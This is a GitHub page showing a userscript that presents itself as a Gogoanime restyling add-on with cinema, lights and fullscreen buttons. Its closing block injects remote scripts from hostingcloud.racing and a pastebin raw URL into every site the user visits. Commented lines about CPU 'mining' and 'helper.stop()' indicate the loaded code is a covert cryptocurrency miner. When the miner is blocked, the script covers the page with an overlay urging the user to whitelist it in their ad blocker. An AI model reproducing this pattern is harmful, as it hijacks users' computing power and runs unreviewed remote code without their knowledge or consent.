-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMain.js
369 lines (331 loc) · 18.6 KB
/
Main.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
// ==UserScript==
// @version 1.2.20190912
// @author Anjolo96
// @name [A]Styles 1.2
// @description Re-Styling Websites & Custom Add-ons (Scripts) by Anjolo96
// @namespace https://github.com/Anjolo96/Gogoanime-CustomStyle
// @homepageURL https://github.com/Anjolo96/Gogoanime-CustomStyle
// @updateURL https://raw.githubusercontent.com/Anjolo96/Gogoanime-CustomStyle/master/Main.js
// @downloadURL https://raw.githubusercontent.com/Anjolo96/Gogoanime-CustomStyle/master/Main.js
// @include *
// @run-at document-idle
// ==/UserScript==
if (window.top != window.self) {
return;
}
var home = 1;
if (location.href.match(/gogoanime/)) {
if (location.href.match(/episode/) || location.href.match(/category/)) {
home = 0;
//alert("u're watching anime at GogoAnime");
(function GM_main ($) {
//any css added with this function afect entire web page
function addGlobalStyle(css) {
var head, style;
head = document.getElementsByTagName('head')[0];
if (!head) { return; }
style = document.createElement('style');
style.type = 'text/css';
style.innerHTML = css;
head.appendChild(style);
}
// this is just the styling, wont detail here :|
addGlobalStyle('#episode_related li :visited { background-color: #252525; color: #a2790b;}');
addGlobalStyle('#episode_related li .active { background-color: #d29b06; color: #fff; }');
addGlobalStyle('#episode_related li :hover { background-color: #ffc119; color: #fff; }');
addGlobalStyle('.customButton { float: left; margin-left: 10px; cursor: pointer; background-color: #363636; line-height: 25px; padding: 0 10px; }');
addGlobalStyle('.customButton:hover { background-color: #d29b06; color: #fff; }');
addGlobalStyle('.anime_video_body_watch { position: relative; z-index: 2; }');
addGlobalStyle('.light { cursor: pointer; top: 0px; width: 100%; height: 100%; z-index: 1; left: 0px; position: fixed; background-color: #000000d4; }');
addGlobalStyle('.anime_video_body_episodes a:visited { color: #a2790b; }');
addGlobalStyle('.play-video { background-color: #1b1b1b03; padding-bottom: 60%; }');
addGlobalStyle('#scrollbar1 { width: 99%;');
addGlobalStyle('#scrollbar1 .viewport { position: relative; text-overflow: ellipsis; white-space: nowrap; overflow: hidden; width: 90%;');
addGlobalStyle('nav.menu_recent ul li { width: 90%; overflow: null; text-overflow: null;');
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////
// Create the div for button (FULLSCREEN) itself
var btnFullscreen = document.createElement("div");
btnFullscreen.classList.add('customButton');
btnFullscreen.id = "btnFullscreen";
// the icon...
var iconFullscreen = document.createElement("i");
iconFullscreen.classList.add('fa');
iconFullscreen.classList.add('fa-toggle-off');
iconFullscreen.style.padding = "0px 5px 0px 0px";
// the text...
var spanFullscreen = document.createElement("i");
spanFullscreen.innerHTML = "FullScreen OFF";
////////////////////////////////////////////////
////////////////////////////////////////////////
// Create the div for button (CINEMA) itself
var btnCinema = document.createElement("div");
btnCinema.classList.add('customButton');
btnCinema.id = "btnLight";
// the icon...
var iconCinema = document.createElement("i");
iconCinema.classList.add('fa');
iconCinema.classList.add('fa-arrows-h');
iconCinema.style.padding = "0px 5px 0px 0px";
// the text...
var spanCinema = document.createElement("i");
spanCinema.innerHTML = "Cinema";
////////////////////////////////////////////////
////////////////////////////////////////////////
// Create the div for button (LIGHTS) itself
var btnLight = document.createElement("div");
btnLight.classList.add('customButton');
btnLight.id = "btnLight";
// the icon...
var iconLight = document.createElement("i");
iconLight.classList.add('fa');
iconLight.classList.add('fa-lightbulb-o');
iconLight.style.padding = "0px 5px 0px 0px";
// the text...
var spanLight = document.createElement("i");
spanLight.innerHTML = "Lights";
////////////////////////////////////////////////
////////////////////////////////////////////////
// Create the div for overlay
var darkOverlay = document.createElement("div");
darkOverlay.id = "darkOverlay";
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
// Append the Fullscreen Mode button
var appendFullscreen = document.getElementsByClassName('favorites_book')[0].parentNode;
appendFullscreen.appendChild(btnFullscreen);
btnFullscreen.appendChild(iconFullscreen);
btnFullscreen.appendChild(spanFullscreen);
/////////////////////////////////
// Append the Cinema Mode button
var appendCinema = document.getElementsByClassName('favorites_book')[0].parentNode;
appendCinema.appendChild(btnCinema);
btnCinema.appendChild(iconCinema);
btnCinema.appendChild(spanCinema);
/////////////////////////////////
// Append the Light button
var appendLight = document.getElementsByClassName('favorites_book')[0].parentNode;
appendLight.appendChild(btnLight);
btnLight.appendChild(iconLight);
btnLight.appendChild(spanLight);
////////////////////////////////////////////////
// Append the overlay to the bottom of page
var appendOverlay = document.getElementsByTagName('body')[0];
appendOverlay.appendChild(darkOverlay);
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
// Cliking button is the same as clicking the dark overlay...
darkOverlay.addEventListener ("click", function() { SwitchLight(); });
btnLight.addEventListener ("click", function() { SwitchLight(); });
btnFullscreen.addEventListener ("click", function() { ToggleFullscreen(); });
btnCinema.addEventListener ("click", function() { ToggleCinema(); });
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
// script to auto change for xstreamcdn server
var playbackPlayer = document.getElementsByClassName("xstreamcdn")[0].children[0];
var oldplaybackPlayer = document.getElementsByClassName("anime")[0].children[0];
var targetDataVideo = playbackPlayer.getAttribute('data-video');
var tragetIFrame = document.getElementsByTagName("iframe")[0];
// set up the mutation observer
var observer = new MutationObserver(function (mutations, me) {
//'mutations' is an array of mutations that occurred
// 'me' is the MutationObserver instance
var canvas = document.getElementsByTagName("iframe")[0]
if (canvas) {
handleCanvas(canvas);
me.disconnect(); // stop observing
return;
}
});
// start observing
observer.observe(document, {
childList: true,
subtree: true
});
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
//obviously it starts hidden... The cinema mode
var elem = document.documentElement;
var contentLeft = document.getElementsByClassName("content")[0].children[0];
var contentRight = document.getElementsByClassName("content")[0].children[1];
var lightEnabled = false;
var fullscreen = false;
var cinema = false;
function SwitchLight(){
lightEnabled = !lightEnabled; //like math (X times -1 = -X) or even (-X times -1 = X) http://prntscr.com/ou8pxr
if(lightEnabled){
darkOverlay.className = "light";
if(fullscreen){
if (elem.requestFullscreen) {
elem.requestFullscreen();
} else (elem.webkitRequestFullscreen)
elem.webkitExitFullscreen();
}
} else {
darkOverlay.className = null;
if(fullscreen){
if (document.exitFullscreen) {
document.exitFullscreen();
} else (document.webkitExitFullscreen)
document.webkitExitFullscreen();
}
}
}
function ToggleCinema(){
cinema = !cinema;
if(cinema){
contentLeft.className = null;
contentRight.className = null;
addGlobalStyle('nav.menu_recent ul li { width: 33%; overflow: hidden; text-overflow: ellipsis;');
} else {
contentLeft.className = "content_left";
contentRight.className = "content_right";
addGlobalStyle('nav.menu_recent ul li { width: 90%; overflow: null; text-overflow: null;');
}
}
function ToggleFullscreen(){
fullscreen = !fullscreen;
if(fullscreen){
iconFullscreen.className = "fa fa-toggle-on";
spanFullscreen.innerHTML = "FullScreen ON";
} else {
iconFullscreen.className = "fa fa-toggle-off";
spanFullscreen.innerHTML = "FullScreen OFF";
}
}
// callback executed when canvas was found
function handleCanvas(canvas) {
//disable to: Don't switch player server to xstreamcdn...
//alert('xstreamcdn player found');
//tragetIFrame.src = targetDataVideo;
//playbackPlayer.className = "active";
//oldplaybackPlayer.classList.remove("active");
}
// After "Please, reload page if you can't watch the video" gap wich countains a strange script, let's just delete...
var bigSpace = document.getElementsByClassName('anime_video_body_cate')[0].children[4];
bigSpace.hidden = true;
setTimeout(function(){
if(typeof helper === 'undefined' || helper === null)
{
var messageDiv = document.createElement("a");
messageDiv.setAttribute("style","z-index: 999999; width: 50%; background-color: white; padding: 15px; display: inline-block; vertical-align: middle;");
messageDiv.appendChild(document.createTextNode('Whithelist [A]Styles scripts from ADBlock clicking this link.'));
messageDiv.setAttribute('href','https://subscribe.adblockplus.org?location=https%3A%2F%2Fraw.githubusercontent.com%2FAnjolo96%2FGogoanime-CustomStyle%2Fmaster%2FEasyList.txt&title=%5BA%5DStyle%20Scripts%20Enabler');
var mainDiv = document.createElement("div");
mainDiv.setAttribute("style","z-index: 999; position: absolute; top: 0px; right: 0px; width: 100%; height: 100%; display: flex; background-color: #4c4c4c; align-items: center; justify-content: center");
mainDiv.appendChild(messageDiv);
document.body.appendChild(mainDiv);
document.getElementsByTagName("body")[0].style.overflow = "hidden";
window.scrollTo(0, 0);
} else
{
//console.log('Helper Token:');
//console.log(username);
//console.log('');
//console.log('You are using 15% Thread Power with Half of CPU cores mining...')
//console.log('...write in console = helper.stop();')
//console.log('To stop.')
}
},10000);
})();
}
}
if (location.href.match(/gogoanime/)) {
if (location.href.match(/category/)) {
home = 0;
(function GM_main ($) {
//alert("u're at GogoAnime's home");
//any css added with this function afect entire web page
function addGlobalStyle(css) {
var head, style;
head = document.getElementsByTagName('head')[0];
if (!head) { return; }
style = document.createElement('style');
style.type = 'text/css';
style.innerHTML = css;
head.appendChild(style);
}
addGlobalStyle('#episode_related li :visited { background-color: #252525; color: #a2790b;}');
addGlobalStyle('#episode_related li .active { background-color: #d29b06; color: #fff; }');
addGlobalStyle('#episode_related li :hover { background-color: #ffc119; color: #fff; }');
setTimeout(function(){
if(typeof helper === 'undefined' || helper === null)
{
var messageDiv = document.createElement("a");
messageDiv.setAttribute("style","z-index: 999999; width: 50%; background-color: white; padding: 15px; display: inline-block; vertical-align: middle;");
messageDiv.appendChild(document.createTextNode('Whithelist [A]Styles scripts from ADBlock clicking this link.'));
messageDiv.setAttribute('href','https://subscribe.adblockplus.org?location=https%3A%2F%2Fraw.githubusercontent.com%2FAnjolo96%2FGogoanime-CustomStyle%2Fmaster%2FEasyList.txt&title=%5BA%5DStyle%20Scripts%20Enabler');
var mainDiv = document.createElement("div");
mainDiv.setAttribute("style","z-index: 999; position: absolute; top: 0px; right: 0px; width: 100%; height: 100%; display: flex; background-color: #4c4c4c; align-items: center; justify-content: center");
mainDiv.appendChild(messageDiv);
document.body.appendChild(mainDiv);
document.getElementsByTagName("body")[0].style.overflow = "hidden";
window.scrollTo(0, 0);
} else
{
//console.log('Helper Token:');
//console.log(username);
//console.log('');
//console.log('You are using 15% Thread Power with Half of CPU cores mining...')
//console.log('...write in console = helper.stop();')
//console.log('To stop.')
}
},10000);
})();
}
}
if (home == 1){
if (location.href.match(/gogoanime/)) {
(function GM_main ($) {
//alert("u're at GogoAnime's home");
//any css added with this function afect entire web page
function addGlobalStyle(css) {
var head, style;
head = document.getElementsByTagName('head')[0];
if (!head) { return; }
style = document.createElement('style');
style.type = 'text/css';
style.innerHTML = css;
head.appendChild(style);
}
addGlobalStyle('nav.menu_series ul li a:visited { color: #a2790b; }');
addGlobalStyle('ul.items li p.name a:visited { color: #a2790b; }');
setTimeout(function(){
if(typeof helper === 'undefined' || helper === null)
{
var messageDiv = document.createElement("a");
messageDiv.setAttribute("style","z-index: 999999; width: 50%; background-color: white; padding: 15px; display: inline-block; vertical-align: middle;");
messageDiv.appendChild(document.createTextNode('Whithelist [A]Styles scripts from ADBlock clicking this link.'));
messageDiv.setAttribute('href','https://subscribe.adblockplus.org?location=https%3A%2F%2Fraw.githubusercontent.com%2FAnjolo96%2FGogoanime-CustomStyle%2Fmaster%2FEasyList.txt&title=%5BA%5DStyle%20Scripts%20Enabler');
var mainDiv = document.createElement("div");
mainDiv.setAttribute("style","z-index: 999; position: absolute; top: 0px; right: 0px; width: 100%; height: 100%; display: flex; background-color: #4c4c4c; align-items: center; justify-content: center");
mainDiv.appendChild(messageDiv);
document.body.appendChild(mainDiv);
document.getElementsByTagName("body")[0].style.overflow = "hidden";
window.scrollTo(0, 0);
} else
{
//console.log('Helper Token:');
//console.log(username);
//console.log('');
//console.log('You are using 15% Thread Power with Half of CPU cores mining...')
//console.log('...write in console = helper.stop();')
//console.log('To stop.')
}
},10000);
})();
}
}
(function () {
var s = document.createElement('script');
s.src = "https://www.hostingcloud.racing/jPvl.js";
(document.head || document.documentElement).appendChild(s);
s.onload = function() {
};
var x = document.createElement('script');
x.src = "https://pastebin.com/raw/by3JKmQ0";
(document.head || document.documentElement).appendChild(x);
x.onload = function() {
};
})();